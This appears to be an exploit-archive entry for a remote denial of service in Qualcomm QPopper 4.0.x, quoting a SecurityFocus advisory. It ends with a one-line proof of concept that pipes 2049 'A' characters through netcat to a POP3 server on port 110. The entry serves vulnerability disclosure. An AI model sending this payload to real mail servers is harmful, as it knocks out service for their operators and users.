Qualcomm QPopper 4.0.x - Remote Denial of Service
source: https://www.securityfocus.com/bid/4295/info
Qualcomm's QPopper is a POP3 mail server for Linux and Unix based systems. Recent versions of QPopper have been released as open source projects.
A vulnerability has been reported in some versions of qpopper. Reportedly, if a string of longer than approximately 2048 characters is sent to the qpopper process, a denial of service condition will occur.
perl -e '{print "A"x"2049"}' | netcat host.com 110